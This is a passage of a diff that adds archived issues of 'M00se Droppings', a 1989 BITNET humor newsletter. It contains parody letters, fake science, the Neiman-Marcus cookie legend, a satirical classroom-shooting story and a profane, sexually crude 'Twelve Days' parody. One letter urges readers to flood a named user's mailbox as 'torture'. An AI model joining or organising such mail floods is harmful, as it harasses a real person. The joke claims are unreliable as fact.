Issue - The Not So Pointy Or 'Nointy Issue - The No +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #35| Disclaimer: The Editors will place almost anything in |Dec. 08, 1989 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: Max Handelsman + and Johnathan Clemens + or + M00se List updates and changes: Darkling M00se + (This space to let): Contact WarM00se + JoM00se Contacted me, so she gets some space here. + So does her sister, BrandyM00se + (See what happens when you ask nicely? ;^) ) +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + Blah, blah, blah... + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +(From "Mark Plummer, Parser Repairman" ) + + A word about AIDS from the virtual majority. + +Hello, + + It has come to my attention that you have released a statement +on the subject of AIDS. Your first recomendation on curtailing the spread +of AIDS bears further comment. You tell people to not do DOS. This is +very good advice, but you continue by saying what to do if one must "do +DOS". There is no excuse for participating in this evil forced on the +computing community, and AIDS (and other associated viruses) are retribution +from GOD (or Brian Kernighan) for participating in this evil. Proof of +the inherent evil of DOS can be found by looking no further than some of +its followers, the most evil of these is by far WordPerfect. Those who +feel they are naturally inclined (by owning a PC) toward using DOS must +be strong against the temptation toward sin. Abstinence from DOS is the +only satisfactory solution. Those who are inststent on using their PCs +must find acceptable outlets for their urges such as the various UNIXs +(MINIX being even cheaper than DOS) available for PC hardware. God willing +we (the righteous) shall prevail against the abomination of DOS, and the +world shall be once again free from its scourge. + + irving r. wasp +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Hello fellow m00ses, and welcome to the Scientific M00se column. Today, I am +going to tell you about Munchos, the fairly new potato snack be Frito-Lay. + +Now, some of you may assume -- understandably -- that Frito-Lay *manufactures* +Munchos. However, this is not the case. "What is the truth of the matter, +Pickle?" you ask. Well, here it is: Munchos are made by bees. + +"Bees?" you ask. Yes, bees. It's true. Here is the process: + +1) The worker bee, or "beeletarian," flies from the nest and begins looking for +potatoes. When it finds one, it masticates and swallows -- but does *not* +digest -- the potato. It then flies back to the nest. + +2) At the nest, the bee pukes up the potato. Other members of the beeletariat +help mash it all up, using tiny mallets and jackhammers. + +3) The bees now stomp all over the paste, forming it into a number of +relatively flat, chip-sized pieces. + +4) The bees add four ounces of salt to each chip. + +5) Using their wings to cause a breeze, the beeletariat dries out the chips. + +6) The queen bee, a member of the beeseoiseie, phones up Frito-Lay and informs +them that some more Munchos are ready. + +7) A representative of Frito-Lay arrives at the hive, and gives the queen a +sack of money in exchange for the chips. + +8) The queen keeps 90% of the money, giving 10% to the thousands of workers in +her hive. + +As you might guess, the beeletariat is getting rather sick of this. Worker +bees see human beings as the benefactors of their oppressor, and occasionally +will strike out in the only way they know how, sacrificing their lives for the +great revolution. So far, this tactic has not been successful. + +But remember, fellow m00ses, when a bee stings you, that it is not out of +maliciousness. The bee truly believes that it is doing what is right, not only +for its own hive and the beeletariat, but for all living things. So have +mercy, salute the bee's efforts with a "bl00p," and above all, don't buy +Munchos -- the snack of oppression! + + Another semi-coherant article + by + Pickle + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + Submissions are still on the decline. Feh. I think I'll invest in some +new stock... +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + T-shirts? T-shirts! WOW! M00se Illuminati T-shirts? Where? + I dunno. I just edit this thing. Why don't we have everyone who's +interested in M.I. shirts write to DICKSON@HARTFORD and tell Bill to get +cracking! :) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From V115QRJ8@UBVMS +Description Yum cookies... + +[I got this from a friend at Drew. Thought y'all'd appreciate it. Spread the +word, and happy baking. BlAcKDoG/MightyM00se] +========================================================================= +A friend of a friend +of a friend; had lunch at Neiman-Marcus in Dallas +last November, and for dessert she had a cookie. she thought it was the +most wonderful cookie she had ever tasted and asked if the recipe was +available. She was told that it was, but there was a charge of two-fifty. +She said that was fine. She got the recipe and told them to charge it to +her account. + +In December, when she received her bill, there was a charge for $250.00. +She called Neiman's and told them it was a mistake -- the charge should be +$2.50. She was told there was NO mistake -- that the charge for the recipe +was correct. They told her it was not a returnable item and she would have +to pay the amount charged to her account or become delinquent. + +The bottem line is she paid. + +She vowed to get back at Neiman's and wants to give the recipe out to +everyone she possibly can. She asks that everyone who gets a copy send it +to everyone they know. So here it is: + + + Neiman's $250.00 Cookies + + 2 Cups butter 1 tsp. salt + 2 Cups gran. sugar 2 tsp. baking powder + 2 Cups brown sugar 2 tsp. baking soda + 4 eggs 24 oz. chocolate chips (2 large bags) + 2 tsp. vanilla 1-8oz. Hershey bar, graded + 4 Cups flour (yes, this is really = lb.) + 5 Cups blended oatmeal** 3 Cups chopped nuts + +** Blended oatmeal: Measure and process in blender to a fine powder + +Cream butter and both sugars. Add eggs and vanilla. Mix together with flour, +oatmeal, salt, baking powder and baking soda. Add chips, candy and nuts. +Roll into balls and place two inches apart on a cookie sheet. Bake for +6 minutes at 375 F. Makes 112 cookies. + [Ed. Note - I've gotten back two reports on this recipe. Both said that +they were good, but a bit (or more than a bit) dry. -Pat] +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +From BOWERS@UTKVX.BITNET "Bob Daedalus" +Don't know why, but thought you guys might like this. Jack Reese, Phil Scheuer, +Ed Boling, Lamar Alexander, Jerry Askew, et al, are all various administrative +patsies at the good ole U of T. + +The Last Weird Days of Mad Jack Reese + + Jack whined, "It ain't over till the fat man sings." + "Phil Scheuer?" + "Who?" + "Never mind," I said. "Look Jack, it's not that easy. +You've been out of touch for years now. Been buried in the +depths of the buracracy, you're out of touch. Dazed and +confused." + Jack, you know, Jack Reese, he was being fired, after +all those years. After the crazy years, the drug riddled +mania that was the reign of King Boling the First, it was +over. No more drinking champange from a cheerleader's +B-cup, no more Cary Grant smiles at press conferences, no +more Gatlinburg ski trips while holding school open during +record snow falls. Had to go back to teaching. +We were at the Faculty Club, throwing back a few +beers. At least I was. Jack, he was hitting the hard stuff. +Flaming Gorrila Tits. + "I know I can make it, I can. I've still got the form. A +year or two in the English Department, dazzle them with +my wit, I can be back in Administration in no time." +As if to prove his point, he stood up, staggered a bit, +and showed me his moves. It was true. That man could +stand behind a podium better than the tenured wimps half +his age. + "Okay, you've got poise, you've got charisma, +you've got patches on your elbows. That's just not enough, +Jack. Things have changed." + Things had changed allright. The University of +Tennessee was a disease gone into remission. Babyface +Lamar, the halfwit bastard of King Ed, had assumed the +throne. Aged and withered bueracrats were dropping like +DDT striken flies, either retiring to Martin in defeat, or +forced out of power like Reese. Out with the old, in with +the new. And Jack was turning to me for help. + "You can help me. You're an undergraduate, have +been for years now. You know what makes this campus tic. +Please, I'm begging. Either I start teaching, or they make +me assistant to Jerry Askew." + I think this over. + "Askew? He's not the worst of the bunch." + "You don't know him. He's a madman. I can't even +get him on the phone any more. Humans weren't meant to +be Dean of Students for that long. And his hair!" + Maybe he was right. Lately Askew had been spotted +hang gliding over the sunroofs of womens' dorms, picking +out tanned sorority girls, like a vulture hunting roadkill. +I decided. + "Right. What is it you want then, Jack? What do you +want me to do?" + "Just show up. I'm teaching my first class in years +tomorrow and I'll need a friendly face in the crowd. Moral +support. Someone to ask me a question, so the little +scavengers will know how smart I am." + "Where, Jack? When?" + "It's this Friday, HSS 121. It's um.... it's a 7:50." + "Jesus. Have they got you teaching freshman +composition?" + "Not for long, not if you'll do this for me, they can't +keep me there. By spring, I'll be in Elizabethan Poetry." +I started making my way to the door. If this turned +ugly, a fast exit would be necessary. + "Maybe Jack. I'll see if I can make it." I wasn't +promising to be up at 7:50 for anybody. Not even Jack +Reese. + His voice trailed after me as I stepped into the +afternoon heat. + "You better be there! You owe me! What about +'Nam?" + + + I wasn't fully aware that I was awake until I actually +stumbled into the classroom. Packing the usual equipment +for the first day in a new class; shorts, flip-flops, shades, +coffee. It was hotter than a Kiss concert in the room. What +was I doing here? I mulled that over as the rest of the class +began to filter in. Christ on a mo-ped, they look so young! +They look like...freshmen?! Now I remember. Mad Jack +and his attempt to return to administrative bliss. The quest +for bueracratic power. And I'm here mixed in the middle. +It seems prudent to slip to one of the back seats. Easy +enough, the rest of my classmates are filling up the front +rows. Virgins. They'll learn. + Jack's entrance catches me checking to make sure the +window is open. Just in case. For a change he looks clear- +eyed. No blood-shot squints from doing tequila shooters all +night. A little dust around the nostrils maybe, but overall +not bad. He's dressed to depress, tweeds, suede elbow +patches, over what looks suspiciously like a flak-jacket. + He walks to the podium and sets his briefcase on a +nearby desk. What does he have in that thing? It bulges in +strange ways, rustling as if it held a dwarven wolverine. His +eyes immediately find mine, like a doberman finding a fire +hydrant. + "Ah, good morning class. It's, ah, good to see so +many, ah, reassuring faces here, this morning, in class." +Silence from the kids. I sink lower, if that's possible, +in my seat. + "My name is Jack, ah, Professor Reese, and I'll be +your instructor for this quarter. I have an alphabetical +seating chart prepared for us, so if we can, ah, find our new +seats, we can call roll." + What was with this "we" and "us" bullshit? The kids +stood up and shuffled around. Excellent targets should Jack +start firing into the crowd. + "Um, excuse me, but I think you're in my seat." +Books and backpack, calculator and comb squint at +me from above. + I grunted, scratched my chest and drank a sip of +coffee. Protective coloration. He moved on. As the furor of +seat shuffles calmed, Jack-boy started calling roll. He stared +down at a computer printout, never looking up to notice +one kid answering for three people. He finished and +looked up at the class. Looked at me. + "Well, ah, perhaps we should start by going around +the class, each student giving his or her name, class and +major." + Good Jack, good idea. That'll warm 'em up. Right. + Introductions droned as I considered his start. He was just +coasting. Could he handle it when the class really started? +Could he manage the furious pace of non-stop give and take +of education in a freshman comp class? Could he lick the +seamy underside of a freshman's... Why is everyone +looking at me? Oh. Right. My turn. + "Harrison, fifth-year student, undecided." The frosty +gleam in The Reese-cup's eyes told me I was less than +appreciated. He had me here for moral support and I had +better start to produce. I sat and considered my options to +the whine of concluding introductions. + Paperwork started filtering around the desks. +Sylabii, grading scales, office hours, all on paper the color +of Jack's tie. + "Before we get started, are there any questions you +would like to ask?" + Shit. This was it. He stared at me furiously. The time +had come to set Jack up with a question that would let him +show his stuff. He needed it now. His hands were steady, his +hair was smoothly in place, his eyes clear and bright, his +age spots covered with Maybelline. If he was ever to +impress and intimidate these bovine intellects, now was the +time. I raised my hard. + "Yes, you have a question? Please, don't be shy, +we're all listening." + A question, then. Jack needed a set so smooth that he +can't fail to spike right through their egos. A volley that +would allow him to dazzle and impress the dullest of wits +with his return. A query that would permit Jack Reese, +demigod on terra firma, to display his superiority over all +mankind. Right. + "Do you consider the implications John Milton +makes on the purpose and value of evil in Paradise Lost to +be found or espoused in Dante Aligheri's Divine Comedy, +and if so why?" + His hands started to palsy, his hair slipped slowly out +of place, his eyes glazed over, his leg began to tremor and +his age spots flushed a bright mauve. I reached for my +coffee. + "Well, ah, in response to that, let me just say that, ah, +you see that, ah... *WELL WHAT THE HELL DO YOU WANT +FROM ME ANYWAY ?!?!" + Shit, he's lost it. He makes a dash for his bag and +smoke erupts from somewhere. I throw myself to the floor +as gunshots ricochet off the cinderblock walls. Jesus, Jack +brought his Uzi to class. A small pig scurries past me on the +floor as I start to drag myself towards the window. Some +kids run for the door, finding Reese locked it as he came in, +some fall to the floor and pray for mercy, others merely sit +and ask if this material will be on the test. +Sparks fly from a hit light fixture and the smoke +clears just enough for me to get a last look at Jack as I make +my escape. He's sitting on the floor, weeping openly, +stroking a stunted pig and mummering in her ear, +"Rosebud, rosebud." Out of control. Crash and burn. Just +like in 'Nam. + I dropped out of the window and tried to walk away +inconspicuously, drinking what remained of my coffee. +Students moved toward the building, smoke belched from +the windows, sirens wailed to the rescue. It was over now, I +suppose. Jack Reese was a relic of the past, a broken +reminder of the era of Maddog Ed and his Bad Boys. I +would like to say he was my friend, but you know... I don't +think any of us ever really knew him. + + Harrison Fowler is a fifth-year, undecided who swears this +will all really happen. + + Harrison Fowler is also one of many pseudonyms I use for writing +in a local underground paper, "The Lame Monkey Manifesto." + + Comments, criticisms, monetary rewards? +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + This space intentionally left #CENSORED#. +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +The Usenet Oracle has pondered your question deeply. +Your question was: + +> A friend asks: why do we pay $20,000 to work our butts off? +> (that's verbatim). + +And in response, thus spake the Oracle: + +} An enemy replies: "It's not nearly enough!" +} +} A surrealist replies: "The stir-fried threepenny nails! Can they help +} me twice?" +} +} A politician replies: "It is very important that we maintain the +} ultimate objectives clearly in mind, while at the same time +} nonwithstanding continuing to remember the intended payoff at the end, +} and the preservation for future generations of all the things we hold +} dear, especially the flag which you can see that I am wearing as +} underwear because I do not wish to ever be parted from its sacred +} folds." +} +} You owe the oracle a large cheeseburger, with flags. +-------------------------------------------------------------------------- +> Why aren't men and women created equal? + +And in response, thus spake the Oracle: + +} To give them something to do in their spare time. +} +} I know what you're thinking, but don't be misled. Humans spend a small +} amount of time engaged in sex, and an inordinate amount of time +} wondering about it, worrying about it, reading about it, watching it on +} television and in films, and participating in various activities to +} sublimate the desire for it. Given that the average human male lasts +} less than three minutes after penetration has taken place, the ratio of +} time spent thinking about sex to the amount of time spent engaged in sex +} is greater than 500 to 1. If sex did not occupy the human mind, then +} hate, paranoia, and the solutions to most of the world's problems would +} certainly settle in. +} +} You owe the Oracle one pornographic magazine and one condom. +-------------------------------------------------------------------------- +> When is the end of the world, any signs? + +And in response, thus spake the Oracle: + +} It's hard to believe that no human has guessed the signs of the +} apocalypse, considering the huge amount of time and energy spent +} considering the prospect. The end of the world will occur when +} literally hundreds of humans construct and detonate their own nuclear +} warheads in a vain attempt to rid themselves of the tremendous, mind- +} numbing boredom that has pervaded their lives. The signs that precede +} this: +} +} -- Popular comedy television shows will cease to be funny and will +} start moralizing about any random social problem. +} +} -- Tens of thousands of people will file into stadiums and arenas to +} watch men over 50 years of age perform "rock and roll". +} +} -- Most governments of the world will outlaw recreational drugs and +} start simplistic, dogmatic propaganda campaigns to support their +} position. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Nothing whatever?!? NOTHING WHATEVER! +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + SUBMIT! SUBMIT! Bend to my will! Know the sweet, sublime pleasure of +complete and willful obadience (Not a mistype) to your demonic master! + (This has been a thinly veiled attempt to get people to send me stuff... +I wonder if it will work? -Pat) +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + Still nothing on this front.... (Hint Hint!) +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + Will be sent under separate cover. As soon as I get it from Darkling. +-------------------------------------------------------------------------------- +The Not So Pointy Or 'Nointy Issue - The Not So Pointy Or 'Nointy Issue - The No +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se36 b/textfiles.com/magazines/M00SE/m00se36 new file mode 100644 index 00000000..abf88d1f --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se36 @@ -0,0 +1,842 @@ +-------------------------------------------------------------------------------- +-- Christmas Issue and Last Issue of the 1980's! Wow, eh? Pretty hefty stuff! -- +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #36| Disclaimer: The Editors will place almost anything in |Dec. 16, 1989 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: Max Handelsman + and Johnathan Clemens + or + AND Joanne Rosenshein + M00se List updates and changes: Darkling M00se + (This space to let): Contact WarM00se +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + Heigh-ho! Heigh-ho! + It's off to tests we go! + But now, to relieve + the Finals Week Blues, + Here's a new issue + ...uh... + FOR ALL OF YOUSE! :) + + Why's this in rhyme? I haven't the time, to figure out questions like +that! Etc. etc. etc..... + Hi all! + Well, here it is, the final issue of M00se Droppings for this month, +semester, year, and DECADE! (Feeling old? Fnord.) + Happy Holidays to everyone! I'll "see" you all next decade! (Of course, +THEY are watching you all the time! Fnord.) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From Jonathan Clemens + +Fellow M00ses: + I have a favor to ask. While working on the computer system here in +Alaska, I have been constantly pestered by a relatively bothersome user. I keep +getting volumes of mail from her saying such things as "Hi Jon!" or "How are you +today?" and nothing else. It has gotten MORE than annoying. + I wish to call upon my fellow m00ses for a boon. I think the time has +come to subject this user to summary "Torture by M00se Mailing." She doesn't +have Bitnet access, so she won't be able to respond to the flood of mail we can +send her. I would like all m00ses who read this to send at least one (1) mail +message to FSEJR@ALASKA.BITNET saying somthing stupid like "Hi Erica!" or "Merry +Christmas, Erica!", or "Is is cold up there in Alaska?" + Imagine a mail junkie getting dozens of sensless mail messages, and +being unable to reply to any of them. Can you think of a worse torture? (if so, +send it to FSJPC@ALASKA) + Thank you all! I really appreciate this! :) + Bl000000000000000000p. ;^) + -Jonathan +JPC/pgs +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From WALL@SBCCVM.BITNET + + he knows when you are sleeping + he knows when you're awake + he knows if you've been good or bad..... + + santa sounds like the NSA + wall +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From KRWALKER@AMHERST.BITNET +*** The Twelve Days of Christmas (exact author unknown) + + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 14, 1986 + +My Darling, + + I went to the door today and the postman delivered a "Partridge in a pear +tree". What a thoroughly delightful gift. I couldn't have been more surprised. +You're an angel. + + With all my love and devotion, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 15, 1986 + +Darling, + + Today, the postman brought your very sweet gift. Just imagine "Two turtle +doves". I'm delighted at your very thoughtful gift. They are adorable and I +love you for them. + + All my love, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 16, 1986 + +Dear Fred, + + Oh! Aren't you the extravagant one? Now I really must protest. I don't +deserve such generosity as "Three French hens". They are just darling but I +must insist, you've been too kind. + + Love, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 17, 1986 + +Dear Fred, + + Today the postman delivered "Four calling birds". Now really, they are +beautiful but don't you think enough is enough? You're being too romantic. + + Affectionately, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 18, 1986 + +Dearest Fred, + + What a surprise! The postman just delivered the "Five golden rings"; one +for every finger. You're just impossible, but I love it. Frankly, all those +birds squawking were beginning to get on my nerves. + + All my love, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 19, 1986 + +Dear Fred, + + I couldn't believe my eyes this morning as I walked out onto the front +porch and there were "Six geese a laying" on my front steps. So you're back +to the birds again - huh? Those geese are huge. Where will I ever keep them? +The neighbors are complaining and I can't sleep through the racket. I love +your thoughtfulness, but - + Please Stop! + + Cordially, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 20, 1986 + +Fred, + + What's with you and those fucking birds??? Today I received "Seven swans +a swimming". What kind of a goddamn joke is this? These birds shit all over +the house and they never stop with that awful goddamn racket. I can't sleep +at night and I'm a nervous wreck. + + Stop your laughing damn you! It's not funny. Just knock it off with +those fucking birds, OK????? + + Sincerely, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 21, 1986 + +OK Buster, + + I think I prefer the birds. What the hell am I going to do with "Eight +maids a milking"?? It's not enough with all those birds and the 8 maids +milking, but they had to bring their goddamn cows! There is shit all over the +lawn and I can't even move in my own house. Just lay off me, smartass!! + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 22, 1986 + +Hey Shithead, + + What are you??? Some kind of sadist??? Now I've got "Nine pipers +playing" and Christ do they play! They haven't stopped chasing those maids +since they've arrived this morning. The cows are getting upset and they're +stepping all over the screeching fucking birds. What the hell am I going to +do?? The neighbors have already started a petition to have me evicted. + + You'll get yours, bastard, + + Agnes +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 23, 1986 + +You Rotten Prick, + + Who in hell needs "Ten ladies dancing"?? I can't imagine why I call these +sluts "ladies". They've been balling the pipers all night long. Now the cows +can't sleep and all the goddamn racket around here has given them diarrhea. +My living room is a river of shit! The Commisioner of Bldgs. has subpoenaed +me to give cause why the building should not be condemned! + + I'm sicking the police on you, asshole! + + One who means it!!! +- + ------------------------------------------------------------------------ + Miss Agnes McHolstein + 69 Cash Ave. + Beaver Valley, CO + Dec. 24, 1986 + +Listen Fuckhead, + + What's with the "Eleven lords a leaping" on those maids and ladies??? Some +of these poor broads will never walk again. The pipers ravaged the maids, +gang-banged the ladies, and now are committing sodomy on the cows. All 23 +birds are dead. They were trampled to death in the orgy. I hope you're +satisfied, you rotten vicious bastard! + + I hate your guts, dumbshit, + + Agnes +- + ------------------------------------------------------------------------ + Law Offices + Badger, Bender & Cahole + 303 Knave Street + Chicago, IL + December 26, 1986 + +Dear Sir: + + This is to acknowledge your latest gift "Twelve fiddlers fiddling" which +you have seen fit to inflict on our client, Miss Agnes McHolstein. As you +no doubt have guessed, the destruction of her property was total. You are +advised that all future correspondence with our client should be cleared +through this office. + + I feel compelled to warn you that if you should attempt to reach Miss +McHolstein at Happy Dale Sanitarium, the attendants of that institution have +instructions to shoot you on sight. With this letter please find attached a +warrant for your arrest. + + Season's Greetings, + + J. Frank Cahole + Attorney +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + I've been checking on the mythical M00se Illuminati Shirts, and the guy +who was going to do them is in England until Fnord knows when. + BUT! I have a friend here in Buffalo who makes shirts, so I'll see if we +can whip up something nifty! :) + Stay tuned.... +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Keep sending in submissions, as I'll need em next mon/sem/year/decade. +Else you'll all keep reading stuff I dig out of my subdirectories! Heh heh heh! +:) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + HAVE YOU EVERRRRR NOTICED: + (for a bit o' holiday cheer) + +SANTA CLAUS? + + Yes, Santa is a long-standing tradition in our typically bland American +society, and stands as a watchdog of current morality. But think for a moment. +What IS this Santa Claus? + + 1) A pagan tradition. Even St. Nickolas (or however you spell his name) +is a pagan tradition adopted by the Catholic Church upon contact with the +germanic tribes of the north. He's a PAGAN. + + 2) He is a capitalist moneymonger. What better way to brainwash small +children into blind faith in a capitalistic society than to reward "proper" +social behavior with gifts that ultimately do little except feed the capitalist +imperialist society more and more--and love of money distracts men from the +true meaning of Christmas. + + 3) He is a voyeur. "He knows when you are sleeping/He knows when you're +awake". Need I say more? + + 4) He wears a red suit. + + 5) Have you ever examined the letters that comprise his name? S. A. N. +T. A.. Rearranged, they give us his true identity: + + SATAN!!!!!!!! + +Think about it--red suit? pagan? voyeuristic? capitalistic? claus? It can +all mean only one thing. Santa Claus is the devil himself. Watch and beware +of his evil influences this holiday season. Merry whatever. :) + ---the Talking Drumm00se + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +(From ANTEK@TAMBIGRF.BITNET) + + For everybody - Christmas greetings in : + +Armenian...Shenoraavor Nor Dari yev Pari Gaghand +Azeri-Azerbaijan...Tezze Iliniz Yahsi Olsun +Basque..Zorionstsu Eguberri. Zoriontsu Berri Urte +Bulgarian...Tchestito Rojdestvo Hristovo. Tchestita Nova Godina +Chinese-Cantonese...Gun Tso Sun Tan'Gung Haw Sun +Chinese-Mandarin...Kung Ho Hsin Hsi. Ching Chi Shen Tan +Czech...Prejeme Vam Vesele Vanoce a stastny Novy Rok +Dutch...Zalig Kerstfeest en een Gelukkig Nieuwjaar +English... Merry Christmas and a Happy New Year +Estonian...Roomsaid Joulu Phui ja Uut Aastat +Finnish...Hyvaa Joulua ja Onnellista Uutta Voutta +French..Joyeux Noel et heureuse Anne +Gaelic-Irish..Nolag mhaith Dhuit Agus Bliain Nua Fe Mhaise +Gaelic-Scot..Nollaig Chridheil agus Bliadhna Mhath Ur +German..Frohliche Weihnachten und ein Glueckliches Neues Jahr +Greek...Kala Khristougena kai Eftikhes to Neon Ethos +Hawaiian...Mele Kalikimake me ka Hauloi Makahiki hou +Hebrew..Mo'adim Lesimkha +Hungarian...Boldog Karacsonyl es Ujevl Unnepeket +Icelandic..Gledlig jol og Nyar +Indonesian..Selamah Tahun Baru +Italian..Buon Natalie e felice Capo d'Anno +Japanese..Shinnen omedeto. Kurisumasu Omedeto +Korean..Sung Tan Chuk Ha +Latvian...Priecigus Ziemas Svetkus un Laimigu Jauno Gadu +Lithuanian...linksmu sventu Kaledu ir Laimingu Nauju Metu +Norse-Danish...Gledlig jul og godt Nytt Aar +Polish...Wesolych Swiat Bozego Narodzenia i Szczesliwego Nowego Roku +Portuguese...Feliz Natal e propero Ano Novo +Rapa-Nui (Easter Island)..Mata-Ki-Te-Rangi. Te-Pito-O-Te-Henua +Romanian...Sarbatori Fericite. La Multi Ani +Russian...Pozdrevlyayu sprazdnikom Rozhdestva Khristova is Novim Godom +Samoan...La Maunia Le Kilisimasi Ma Le Tausaga Fou +Serb-Croatian...Sretam Bozic. Vesela Nova Godina +Singhalese (Sri Lanka)...Subha nath thalak Vewa. Subha Aluth Awrudhak Vewa +Slovak...Vesele Vianoce. A stastlivy Novy Rok +Slovene..Vesele Bozicne. Screcno Novo Leto +Spanish...Feliz Navidad y prospero Ano Nuevo +Swedish...Glad jul och ett gott Nytt ar +Tagalog (Filipino) .. Maligayamg Pasko. Masaganang Bagong Taon +Turkish...Yeni Yilnizi Kutar, saadetler dilerim +Ukrainian...Veselykh Svyat i scaslivoho Novoho Roku +Welsh..Nadolic Llawen. Blwyddn Newdd Dda +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +'Twas the night before Xmas + the lab was quite still +Not a bunsen was burning + (Nor had they the will). +The test tubes were placed + in their racks with great care +In hopes Father Chemistry + soon would be there. +The students were sleeping + so sound in their dorms +all dreaming of fluids + and crystalline forms. +Lab-aides in their aprons + and I in my smock +Were sitting, recov'ring + from semester-end shock. +When outside the lab + there arose such a roar +I leaped from my stool + and fell flat on the floor. +Out to the fire escape + all of us flew +What was the commotion? + None of us knew. +The flood lights shone out + o'er the campus so bright +It looked like old Stockholm + on Nobel Prize night. +My fume blinded eyes + then viewed (dare I say?) +Eight anions pulling + a water-trough sleigh. +And holding the bonds + tied to each one of them +Was a figure I knew + as our own Papa Chem. +With speeds in excess + of most X-rays they came +As they Dopplered along, + he called each one by name. +"Now, Nitrite, now Phosphate, + now Borate, now Chloride, +On Citrate, on Bromate, + on Sulfite and Oxide. +Forget what you know + of that randomness stuff, +Let's go straight to the roof, + if you've quanta enough." +As fluids Bernoullian + behave in a pinch +Those ions said, "Alchemist, + this is a cinch!" +So up to the lab-roof + 